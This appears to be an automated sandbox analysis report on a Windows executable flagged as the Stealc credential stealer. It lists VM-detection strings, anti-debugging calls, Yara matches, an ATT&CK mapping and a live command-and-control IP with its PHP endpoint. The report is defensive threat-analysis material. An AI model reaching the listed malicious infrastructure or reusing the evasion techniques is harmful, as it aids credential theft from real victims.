Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: file.exe, 00000000.00000002.1880734671.00000000024AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-26100
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-26103
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-26114
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-26122
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-25942
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-26143
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-25987
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-27471

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041AD48

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004045C0

Source: C:\Users\user\Desktop\file.exe

0_2_00419860

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h]	0_2_00419750
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_024BF35C push dword ptr fs:[00000030h]	0_2_024BF35C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040A092B mov eax, dword ptr fs:[00000030h]	0_2_040A092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040A0D90 mov eax, dword ptr fs:[00000030h]	0_2_040A0D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040B99B7 mov eax, dword ptr fs:[00000030h]	0_2_040B99B7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041AD48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041CEEA SetUnhandledExceptionFilter,	0_2_0041CEEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B33A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040BD151 SetUnhandledExceptionFilter,	0_2_040BD151
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040BB5A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_040BB5A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040BAFAF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_040BAFAF

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7484, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040B9867 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_040B9867

Source: C:\Users\user\Desktop\file.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_00417B90
Source: C:\Users\user\Desktop\file.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		0_2_040B7DF7

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00416920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417A30

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.3.file.exe.4110000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4110000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1717820690.0000000004110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7484, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.3.file.exe.4110000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4110000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1717820690.0000000004110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7484, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	11 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	123 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1310247
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
http://193.233.113.184/J(	100%	Avira URL Cloud	malware
http://193.233.113.1	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php/s	100%	Avira URL Cloud	malware
http://193.233.113.184/6d687e53250c2111.phpc	100%	Avira URL Cloud	malware
http://193.233.113.184/6d687e53250c2111.php	100%	Avira URL Cloud	malware
http://193.233.113.184/	100%	Avira URL Cloud	malware
http://193.233.113.184/6d687e53250c2111.php5S	100%	Avira URL Cloud	malware
http://193.233.113.184/ws	100%	Avira URL Cloud	malware
http://193.233.113.184	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://193.233.113.184/	true	Avira URL Cloud: malware	unknown
http://193.233.113.184/6d687e53250c2111.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.233.113.184/6d687e53250c2111.phpc	file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.php/s	file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.113.184	file.exe, 00000000.00000002.1880734671.00000000024AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://193.233.113.184/J(	file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.113.1	file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.php5S	file.exe, 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.113.184/ws	file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.233.113.184	unknown	Russian Federation		20549	FREE-MPEIRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518310
Start date and time:	2024-09-25 15:31:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 24 Number of non-executed functions: 165
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:32:20	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.233.113.184	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.233.113.184/6d687e53250c2111.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-MPEIRU	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.233.113.184
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	193.233.121.52
	file.exe	Get hash	malicious	DCRat	Browse	193.233.115.185
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	193.233.122.71
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Unknown	Browse	193.233.84.115
	https://test.ambasenegal-pl.com/base.php?c=17&key=66bf6845dbd8f0d53e07b779f6ab8f38	Get hash	malicious	Phisher	Browse	193.233.84.115
	https://vpnassdsd1.blob.core.windows.net/vpnassdsd1/unsD.html#9-FFJWW/11-9623-VPOIK/746-001437-16337	Get hash	malicious	Unknown	Browse	193.233.84.175
	https://ramandan.blob.core.windows.net/ramandan/1.html#15/117-4966/926-74892-11463-	Get hash	malicious	Phisher	Browse	193.233.84.175
	http://z69p5gc0nk570ejit1fq6apix.ndsgfsjgffsnj.homes/4fdVxq8477PoaJ379hnzhvayyao8624EOSKQEYSWPRERBU64SNSB1959860q24	Get hash	malicious	Phisher	Browse	193.233.84.88
	https://podlkfidjf.blob.core.windows.net/podlkfidjf/Useemailmanagementtools.html#15/43-4757/934-1153896-11463	Get hash	malicious	Phisher	Browse	193.233.84.175

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_61a831c2ecacd74fd612ac4b487129f59cc76_219f44b5_5f7cdf99-645c-4cf4-8d9f-79f26d9623a5\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9531806774725857
Encrypted:	false
SSDEEP:	192:kKjF7l5EvRsPlotJ0+ihSrI3jpCZrMZtzuiFiZ24IO8TVB:ViKN+q+ihSsjrTzuiFiY4IO8X
MD5:	41D0BF092D6AC65CB53E3F81DE99701B
SHA1:	F4CD37A4B23C888C5D39FD9BD7716C2095CC9ED5
SHA-256:	F9EA3A57D0312FD78F0E2E393000146DABBE233B2DE15121C73EF2D92CF20DD3
SHA-512:	03F130FED19D4C2AABD024631CDAED1E3E8C1C3838AAE2B77505B47ED216B4886DDA55A76D0F9CFDE28BAB1ED1A8EAD33283E8E287C6E804C7361D53C527B89C
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.4.4.7.2.6.5.6.8.5.8.5.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.4.4.7.2.7.0.3.7.3.3.9.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.7.c.d.f.9.9.-.6.4.5.c.-.4.c.f.4.-.8.d.9.f.-.7.9.f.2.6.d.9.6.2.3.a.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.8.9.4.e.4.e.3.-.7.7.5.0.-.4.d.4.c.-.9.8.1.c.-.1.3.e.1.9.6.9.f.e.3.4.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.3.c.-.0.0.0.1.-.0.0.1.4.-.0.6.0.1.-.9.c.4.e.4.f.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.e.9.5.8.a.4.c.5.0.4.9.e.c.e.e.8.1.c.3.0.e.d.3.5.8.9.b.2.0.4.7.c.9.c.2.2.c.0.3.a.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE9DF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Sep 25 13:32:06 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	67440
Entropy (8bit):	2.0997943447641743
Encrypted:	false
SSDEEP:	384:FA3cR1i9qgEE2va1FMS1YaRgwCztsvbzdoIN2Q3U/:YcR1i9bEEUa1FMSFawGabzdHy
MD5:	71A6410F704C1C5D46E4C77A357B9C34
SHA1:	913A297623D34C0463E8A97317DC41D71BB1B86B
SHA-256:	2DE3214985569AB8A9E0869E39DB0395F7439ACFEF65273F5BCA4637BA188A51
SHA-512:	CF2F1016EB178E9AB6B5D35E02F400DC1AAFD56CDC960936BF01A36AEFB75443508270680001A7479E9E25C821D2FC8541766CFA2D9BE4B55032C454FECE193D
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........f............4...............<............*..........T.......8...........T............3..........................................................................................................eJ......H.......GenuineIntel............T.......<......f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAEA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8304
Entropy (8bit):	3.693281663328221
Encrypted:	false
SSDEEP:	192:R6l7wVeJNC96qJkR6Y9lSU7TgmfBizN0pDd89b18sfcHm:R6lXJK6qJS6YvSU7TgmfUNj1PfR
MD5:	20AFE040D60D85C788F7E8BB86E42A80
SHA1:	ACAD97EAB9CC1C7D6FC1A4437C02D94A4DDDA042
SHA-256:	7950EC1D0AC3A37D2C99CBD5F76F44254D2D48308670CE892AF8C8BF99597C4A
SHA-512:	46BC28464FBEB9071012E1B8DD3992FB792E0EFBA6EBDAAE0B21274F7C50381A3DC272AAE7152DD9BE2AEC0639949E5A02571DF490B0DAC02A46A050779A83DE
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB0A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.423275438775133
Encrypted:	false
SSDEEP:	48:cvIwWl8zstJg77aI916WpW8VYjg4Ym8M4JXyFZo+q8eyJq8SYild:uIjfHI7b77Vx1JGom1ild
MD5:	90EBDD3180581056042FAF7F17D5218D
SHA1:	EB3A571F5FA530D82CB2C3069DB950BD72F0439F
SHA-256:	78A367A40C9F833849410C5BA6168BA33B7C6DB2E2204985148D2C42D129F314
SHA-512:	364B972D1ECB3A350333DCAD16DD38157E2C94ACB73B5DCC8BD179BFB200AB4A7E758967BBB8A2D8A67799AEACE6B15CDC3447A17022F052C7E5C775195822B0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515794" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46526961794916
Encrypted:	false
SSDEEP:	6144:5IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbJ:KXD94+WlLZMM6YFH1+J
MD5:	A3BFB7EE2963F948B3C3AF4104AD6192
SHA1:	3BE368BEBB3E74BFA1B9FD0C92989AE855A459F3
SHA-256:	D2903B30F059E83116075F0A176FC67BE6ED225E0DC28EB23B1B8FF723C4D10B
SHA-512:	EAE17941BF8B664E0D0EF138FEB44FC2CA267A13311200F37DE9F08CC394792594ADC49D9311AD1DA582BA8C47BC57E9422396C44BE942781AE398492C938A42
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.rzPO...............................................................................................................................................................................................................................................................................................................................................W.md........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.85531810652727
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	417'280 bytes
MD5:	d792f4925d8e515a2aa89f5c9c157f2d
SHA1:	e958a4c5049ecee81c30ed3589b2047c9c22c03a
SHA256:	30b614408336deed002dcb9dbf0785e48ff68c25b1f5b5d741eac82b868ec32c
SHA512:	f4199c1178dd1fefada4a7c9d95df88a43311b3678d6306c1a9a77a921dab61250fbb75cf6a1bc31ae2c44da40edb0a5d3e472cabbecd417d7c556b611c67086
SSDEEP:	6144:6tp/S5kGWPTiZ76zcnljsuISDoB0X6tCPs61oGaLquQ2T6:+p/6kGWPeMQljsXKk61oGaGuQJ
TLSH:	4294BF4392D1BFF0E52747729E2EC6E9369DF8624D1537A7231A6E1F24B01B2C12BB11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M..A............f.......f.).)...f...u.....$.............f.......f.-.....f.*.....Rich............................PE..L......d...

File Icon


Icon Hash:	43254551554d610d

Static PE Info

General

Entrypoint:	0x4037e3
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
